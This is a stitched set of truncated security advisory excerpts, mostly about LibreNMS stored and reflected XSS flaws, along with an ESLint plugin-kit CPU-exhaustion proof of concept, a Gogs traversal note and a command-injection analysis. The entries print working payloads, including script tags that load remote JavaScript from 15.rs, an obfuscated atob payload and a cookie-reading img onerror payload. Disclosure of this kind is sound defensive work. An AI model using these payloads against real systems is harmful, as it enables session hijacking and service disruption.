ghsa

### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Services" tab of the Device page allows authenticated users to inject arbitrary JavaScript through the "descr" parameter when adding a service to a device. This vulnerability could result in the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and enabling unauthorized actions. ### Details When creating a device through the "edit device -> services" workflow (example path: "/device/15/edit/section=services"), the attacker can inject an XSS payload in the "descr" parameter. This payload is reflected in the "Services" tab of the device (URL: "/device/15/services"). It is important to note that the vulnerability does not exist when creating devices through the normal "Add Service" interface (created through the ajax_form.php request with the "type=create-service"). The payload used to exploit this vulnerability is: ```Descr'"><script/src=//15.rs></script>``` ...

Crafting a very large and well crafted string can increase the CPU usage and crash the program. ## POC ```js const { ConfigCommentParser } = require("@eslint/plugin-kit"); var str = ""; for (var i = 0; i < 1000000; i++) { str += " "; } str += "A"; console.log("start") var parser = new ConfigCommentParser(); console.log(parser.parseStringConfig(str, "")); console.log("end") // run `npm i @eslint/plugin-kit` and `node attack.js` // then the program will stuck forever with high CPU usage ```

Gogs <=0.13.0 is vulnerable to Directory Traversal via the editFilePost function of internal/route/repo/editor.go.

### Summary An authenticated attacker can create dangerous directory names on the system and alter sensitive configuration parameters through the web portal. Those two defects combined then allows to inject arbitrary OS commands inside `shell_exec()` calls, thus achieving arbitrary code execution. ### Details #### OS Command Injection We start by inspecting the file `app/Http/Controllers/AboutController.php`, more particularly the index() method which is executed upon simply visiting the /about page: ```php public function index(Request $request) { $version = Version::get(); return view('about.index', [ <TRUNCATED> 'version_webserver' => $request->server('SERVER_SOFTWARE'), 'version_rrdtool' => Rrd::version(), 'version_netsnmp' => str_replace('version: ', '', rtrim(shell_exec(Config::get('snmpget', 'snmpget') . ' -V 2>&1'))), <TRUNCATED> ]); } ``` We can see that the `version_netsnmp` key re...

### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Custom OID" tab of a device allows authenticated users to inject arbitrary JavaScript through the "unit" parameter when creating a new OID. This vulnerability can lead to the execution of malicious code in the context of other users' sessions, compromising their accounts and enabling unauthorized actions. ### Details When creating a new OID for a device, an attacker can inject an XSS payload into the "unit" parameter. This payload is reflected in the "Unit" column of the table displayed in the "Custom OID" tab of the device. The payload used to exploit this vulnerability is: ```<script/src=//15.rs>``` Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code. The vulnerability is due to improper sanitization of the "unit" parameter before rendering it i...

### Summary A Reflected Cross-Site Scripting (XSS) vulnerability in the "metric" parameter of the "/wireless" and "/health" endpoints allows attackers to inject arbitrary JavaScript. This vulnerability results in the execution of malicious code when a user accesses the page with a malicious "metric" parameter, potentially compromising their session and allowing unauthorized actions. ### Details The "/wireless" and "/health" endpoints are vulnerable to reflected XSS in the "metric" parameter. An attacker can inject the following XSS payload into the "metric" parameter: ```<script>constructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();<!---->``` When the page is loaded with this malicious parameter, the script executes immediately. The vulnerability occurs due to improper sanitization of the "metric" parameter in the following sinks: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/wireless.inc.php#L82 https://github...

### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the Device Overview page allows authenticated users to inject arbitrary JavaScript through the "overwrite_ip" parameter when editing a device. This vulnerability results in the execution of malicious code when the device overview page is visited, potentially compromising the accounts of other users. ### Details The vulnerability occurs when editing a device. An attacker can inject arbitrary JavaScript into the "overwrite_ip" parameter. This malicious script is then executed in the "Assigned IP" field when the device overview page is loaded. The payload used to exploit this vulnerability is: `test'"><script src=//15.rs></script>` Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code. The root cause of this vulnerability is the application's failure to p...

### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Port Settings" page allows authenticated users to inject arbitrary JavaScript through the "descr" parameter when editing a device's port settings. This vulnerability can lead to the execution of malicious code when the "Port Settings" page is visited, potentially compromising the user's session and allowing unauthorized actions. ### Details When editing a device's port settings, an attacker can inject the following XSS payload into the "descr" parameter: ```lo'"><script/src=//15.rs>``` Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code. The payload triggers when the "Port Settings" page is visited, exploiting the `$port->ifAlias` variable in the application. The sink is located here: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345f...

### Summary The application fail to sanitising inputs properly and rendering the code from user input to browser which allow an attacker to execute malicious javascript code. ### Details User with Admin role can edit the Display Name of a device, the application did not properly sanitize the user input in the device Display Name, if java script code is inside the name of the device Display Name, its can be trigger from different sources. ### PoC 1. Use an Admin role user to change the Display Name of a device into the payload `<img src="x" onerror="alert(document.cookie)">`  2.1. Go to manage user and choose Manage Access  2.2. A pop-up will show  3.1. Create a new Alert Rule where it will check if the device is ...

### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Services" section of the Device Overview page allows authenticated users to inject arbitrary JavaScript through the "name" parameter when adding a service to a device. This vulnerability could result in the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and enabling unauthorized actions. ### Details When creating a device through the "edit device -> services" workflow (example path: "/device/15/edit/section=services"), the attacker can inject an XSS payload in the "name" parameter. This payload is then reflected in the "Services" section of the "Overview" page of the device. It is important to note that the vulnerability does not exist when creating devices through the normal "Add Service" interface (created through the ajax_form.php request with the "type=create-service"). The payload used to exploit this vulnerability is: ```Name'"><script/src=//15.rs>...